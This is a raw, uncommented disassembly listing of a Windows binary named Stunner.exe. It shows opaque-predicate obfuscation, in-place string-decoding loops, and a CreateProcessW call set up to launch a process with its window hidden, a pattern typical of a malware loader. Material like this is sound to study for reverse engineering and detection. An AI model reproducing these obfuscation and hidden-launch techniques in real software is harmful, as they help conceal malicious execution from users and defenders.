mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140051b40
mov rdx, rbx
lea rcx, [rsp + 0x4a0]
call fcn.140002480
nop
xor eax, eax
mov byte [rsp + 0x7c], al
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x7c]
call fcn.14001ed70
mov r14, rax
movsd xmm6, qword [0x140073fc0]
movsd xmm7, qword [0x140073fb8]
movsd xmm8, qword [0x140073fb0]
movsd xmm9, qword [0x140073fa8]
cmp byte [rax], 0
jne 0x140052b4d
mov dword [rsp + 0x68], esi
mov r15d, dword [rsp + 0x1678]
mov r12d, dword [rsp + 0x1678]
mov r13d, dword [rsp + 0x1678]
nop dword [rax]
mov eax, dword [rsp + 0x68]
cmp eax, 1
jae 0x140052b4b
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.1400037a0
movsx edx, byte [0x14007d2e0]
imul edx, ebx
lea ebx, [rdx + rdx*4]
add ebx, ebx
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x140051ec3
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140051cbb
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140051cbb
mov r15d, 7
jmp 0x140051d4e
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140051d4e
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si r15d, xmm0
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140051e00
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140051e00
mov r12d, 7
jmp 0x140051e93
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140051e93
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si r12d, xmm0
movsxd rcx, dword [rsp + 0x68]
movsxd rax, r12d
mov rbx, qword [r14 + rcx*8 + 8]
and rbx, rax
add rbx, rbx
movsxd rcx, dword [rsp + 0x68]
movsxd rax, r15d
mov rdx, qword [r14 + rcx*8 + 8]
add rdx, rax
sub rdx, rbx
movsxd rax, dword [rsp + 0x68]
mov qword [r14 + rax*8 + 8], rdx
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx eax, al
imul edx, eax
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005282f
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.1400037a0
movsx edx, byte [0x14007d2e0]
imul edx, ebx
lea ebx, [rdx + rdx*4]
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x140052201
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140051ff2
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140051ff2
mov r13d, 7
jmp 0x140052085
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140052085
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si r13d, xmm0
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140052139
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140052139
mov dword [rsp + 0x60], 7
jmp 0x1400521cf
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400521cf
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rsp + 0x60], eax
movsxd rcx, dword [rsp + 0x68]
movsxd rax, dword [rsp + 0x60]
mov rbx, qword [r14 + rcx*8 + 8]
and rbx, rax
add rbx, rbx
movsxd rcx, dword [rsp + 0x68]
movsxd rax, r13d
mov rdx, qword [r14 + rcx*8 + 8]
add rdx, rax
sub rdx, rbx
movsxd rax, dword [rsp + 0x68]
mov qword [r14 + rax*8 + 8], rdx
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.1400037a0
movsx edx, byte [0x14007d2e0]
imul edx, ebx
lea ebx, [rdx + rdx*2]
add ebx, ebx
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x140052507
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400522f2
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400522f2
mov dword [rsp + 0x78], 7
jmp 0x140052388
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140052388
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rsp + 0x78], eax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005243d
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14005243d
mov dword [rsp + 0x74], 7
jmp 0x1400524d3
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400524d3
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rsp + 0x74], eax
movsxd rcx, dword [rsp + 0x68]
movsxd rax, dword [rsp + 0x74]
mov rbx, qword [r14 + rcx*8 + 8]
and rbx, rax
add rbx, rbx
movsxd rcx, dword [rsp + 0x68]
movsxd rax, dword [rsp + 0x78]
mov rdx, qword [r14 + rcx*8 + 8]
add rdx, rax
sub rdx, rbx
movsxd rax, dword [rsp + 0x68]
mov qword [r14 + rax*8 + 8], rdx
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
mov eax, ebx
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005282f
mov eax, dword [rsp + 0x68]
sub eax, 0x67
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005260c
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14005260c
mov dword [rsp + 0x6c], 7
jmp 0x1400526a2
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400526a2
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x68]
sub eax, 0x67
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140052765
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140052765
mov dword [rsp + 0x64], 7
jmp 0x1400527fb
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400527fb
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rsp + 0x64], eax
movsxd rcx, dword [rsp + 0x68]
movsxd rax, dword [rsp + 0x64]
mov rdx, qword [r14 + rcx*8 + 8]
and rdx, rax
add rdx, rdx
movsxd rax, dword [rsp + 0x68]
mov rbx, qword [r14 + rax*8 + 8]
sub rbx, rdx
movsxd rax, dword [rsp + 0x6c]
add rbx, rax
movsxd rax, dword [rsp + 0x68]
mov qword [r14 + rax*8 + 8], rbx
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.1400037a0
movsx edx, byte [0x14007d2e0]
imul edx, ebx
imul ebx, edx, 7
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x140052b3c
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005291e
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14005291e
mov dword [rsp + 0x70], 7
jmp 0x1400529b4
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400529b4
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rsp + 0x70], eax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140052a6c
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140052a6c
mov dword [rsp + 0x98], 7
jmp 0x140052b05
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140052b05
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rsp + 0x98], eax
movsxd rcx, dword [rsp + 0x68]
movsxd rax, dword [rsp + 0x98]
mov rbx, qword [r14 + rcx*8 + 8]
and rbx, rax
add rbx, rbx
movsxd rcx, dword [rsp + 0x68]
movsxd rax, dword [rsp + 0x70]
mov rdx, qword [r14 + rcx*8 + 8]
add rdx, rax
sub rdx, rbx
movsxd rax, dword [rsp + 0x68]
mov qword [r14 + rax*8 + 8], rdx
mov eax, dword [rsp + 0x68]
inc eax
mov dword [rsp + 0x68], eax
jmp 0x140051bc0
xor esi, esi
mov byte [r14], 1
mov r8, qword [r14 + 8]
xor edx, edx
lea rcx, [rsp + 0x1c50]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x1c50], 0x68
mov r12d, 1
mov dword [rsp + 0x1c8c], r12d
mov word [rsp + 0x1c90], si
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x15e0], xmm0
mov qword [rsp + 0x15f0], rax
lea rdx, [rsp + 0x4a0]
lea rcx, [rsp + 0x1868]
call sym.Stunner.exe_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t_____cdecl_stw_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_
nop
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400531a3
mov byte [rsp + 0x480], 0xc0
mov byte [rsp + 0x481], 0xc1
mov byte [rsp + 0x482], 0xc2
mov byte [rsp + 0x483], 0xc3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x484], xmm0
mov qword [rsp + 0x494], rax
mov byte [rsp + 0x49c], al
mov qword [rsp + 0x50], rsi
mov rax, qword [rsp + 0x50]
cmp rax, 0x1d
jae 0x140052c8c
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x480]
add rcx, 0x11c60
movzx eax, dl
and al, cl
add al, al
sub dl, al
add dl, 0x60
add dl, cl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x480], dl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1d
jb 0x140052c41
mov r8d, dword [rsp + 0x480]
mov byte [rsp + 0x460], 0xa6
mov byte [rsp + 0x461], 0xa5
mov byte [rsp + 0x462], 0xa4
mov byte [rsp + 0x463], 0xab
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x464], xmm0
mov word [rsp + 0x474], ax
mov qword [rsp + 0x50], rsi
mov rax, qword [rsp + 0x50]
cmp rax, 0x16
jae 0x140052d2a
movabs r14, 0xb380b3640664c665
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x460]
add rdx, r14
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x3d
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x460], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x16
jb 0x140052ce3
lea rcx, [rsp + 0x1868]
cmp qword [rsp + 0x1880], 7
cmova rcx, qword [rsp + 0x1868]
movsxd rax, dword [rsp + 0x460]
lea rdx, [rcx + rax*2]
lea rax, [rsp + 0x15e0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1c50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, rsi
test eax, eax
sete cl
